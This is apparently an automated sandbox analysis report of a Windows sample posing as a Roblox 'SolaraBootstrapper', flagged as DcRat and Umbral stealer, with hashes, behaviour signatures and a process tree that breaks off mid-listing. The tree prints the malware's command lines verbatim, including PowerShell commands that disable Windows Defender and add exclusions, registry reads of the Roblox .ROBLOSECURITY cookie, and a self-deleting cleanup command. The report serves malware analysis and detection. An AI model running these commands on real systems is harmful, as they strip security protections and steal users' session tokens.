Analysis
-
max time kernel
90s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
-
submitted
28-06-2024 04:50
General
-
Target
862e555bc983728ac0d7e39fed087a79ec18c5db7208c839aba4db3f6bff0f06_NeikiAnalytics.exe
-
Size
3.3MB
-
MD5
931767ee5322f0d8a22acb26374ef000
-
SHA1
eac51a96586271fde6ab226db3f3bdbfd1f72111
-
SHA256
862e555bc983728ac0d7e39fed087a79ec18c5db7208c839aba4db3f6bff0f06
-
SHA512
a790213cbe56e1cdc737af9c6a7176a277b04767eba3b9f99102c71d227d1b28696baaa4515f2844fd09e9b9ea6c106557aa24c6471b4f47d68715ce44e041d0
-
SSDEEP
49152:Zrd5oJBLERqgc7qzy0n1Ta80kXELz5oxr9WROea5CbEo51TMkqCZBO:hd5n3c0fnlb0kXyz59haG95lNqCZBO
Score
10/10
Malware Config
Signatures
-
DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
-
Detect Umbral payload 2 IoCs
-
Umbral
Umbral stealer is an opensource moduler stealer written in C#.
-
DCRat payload 3 IoCs
Detects payload of DCRat, commonly dropped by NSIS installers.
-
Command and Scripting Interpreter: PowerShell 1 TTPs 29 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
-
Drops file in Drivers directory 18 IoCs
-
Checks computer location settings 2 TTPs 64 IoCs
Looks up country code configured in the registry, likely geofence.
-
Executes dropped EXE 64 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 56 IoCs
-
Looks up external IP address via web service 29 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Detects videocard installed 1 TTPs 28 IoCs
Uses WMIC.exe to determine videocard installed.
-
Modifies registry class 40 IoCs
-
Runs ping.exe 1 TTPs 28 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
Views/modifies file attributes 1 TTPs 29 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\862e555bc983728ac0d7e39fed087a79ec18c5db7208c839aba4db3f6bff0f06_NeikiAnalytics.exe"C:\Users\Admin\AppData\Local\Temp\862e555bc983728ac0d7e39fed087a79ec18c5db7208c839aba4db3f6bff0f06_NeikiAnalytics.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"5⤵
- Checks computer location settings
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"7⤵
- Checks computer location settings
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"8⤵
- Checks computer location settings
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"9⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"10⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"11⤵
- Checks computer location settings
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"12⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"13⤵
- Checks computer location settings
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"14⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"15⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"16⤵
- Checks computer location settings
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"17⤵
- Checks computer location settings
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"18⤵
- Checks computer location settings
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"19⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"20⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"21⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"22⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"23⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"24⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"25⤵
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"26⤵
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"27⤵
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"28⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"29⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"30⤵
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"31⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"32⤵
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"33⤵
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"34⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"35⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"36⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"37⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"38⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"39⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"40⤵
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"41⤵
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"42⤵
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"43⤵
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"44⤵
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"45⤵
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"46⤵
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"47⤵
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"48⤵
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"49⤵
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"50⤵
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"51⤵
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"52⤵
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"53⤵
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"54⤵
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"55⤵
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"56⤵
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"57⤵
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"58⤵
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"59⤵
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"60⤵
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"61⤵
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"62⤵
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"63⤵
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"64⤵
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"65⤵
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"66⤵
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"67⤵
-
C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"68⤵
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"68⤵
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid69⤵
-
-
C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"69⤵
- Views/modifies file attributes
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\dIIhost.exe'69⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 269⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY69⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"68⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"69⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"67⤵
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"67⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"68⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"66⤵
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"66⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"67⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "68⤵
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"69⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"65⤵
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid66⤵
-
-
C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"66⤵
- Views/modifies file attributes
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\dIIhost.exe'66⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 266⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY66⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY66⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption66⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory66⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid66⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER66⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name66⤵
- Detects videocard installed
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\dIIhost.exe" && pause66⤵
-
C:\Windows\system32\PING.EXEping localhost67⤵
- Runs ping.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"65⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"66⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "67⤵
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"68⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"64⤵
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"64⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"65⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "66⤵
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"67⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"63⤵
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"63⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"64⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "65⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV166⤵
-
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"66⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"62⤵
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid63⤵
-
-
C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"63⤵
- Views/modifies file attributes
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\dIIhost.exe'63⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 263⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY63⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY63⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption63⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV164⤵
-
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory63⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid63⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER63⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name63⤵
- Detects videocard installed
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\dIIhost.exe" && pause63⤵
-
C:\Windows\system32\PING.EXEping localhost64⤵
- Runs ping.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"62⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"63⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "64⤵
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"65⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"61⤵
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"61⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"62⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "63⤵
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"64⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"60⤵
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid61⤵
-
-
C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"61⤵
- Views/modifies file attributes
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\dIIhost.exe'61⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 261⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY61⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY61⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption61⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory61⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid61⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER61⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name61⤵
- Detects videocard installed
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\dIIhost.exe" && pause61⤵
-
C:\Windows\system32\PING.EXEping localhost62⤵
- Runs ping.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"60⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"61⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "62⤵
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"63⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"59⤵
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"59⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"60⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "61⤵
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"62⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"58⤵
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"58⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"59⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "60⤵
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"61⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"57⤵
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid58⤵
-
-
C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"58⤵
- Views/modifies file attributes
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\dIIhost.exe'58⤵
- Command and Scripting Interpreter: PowerShell
-
-
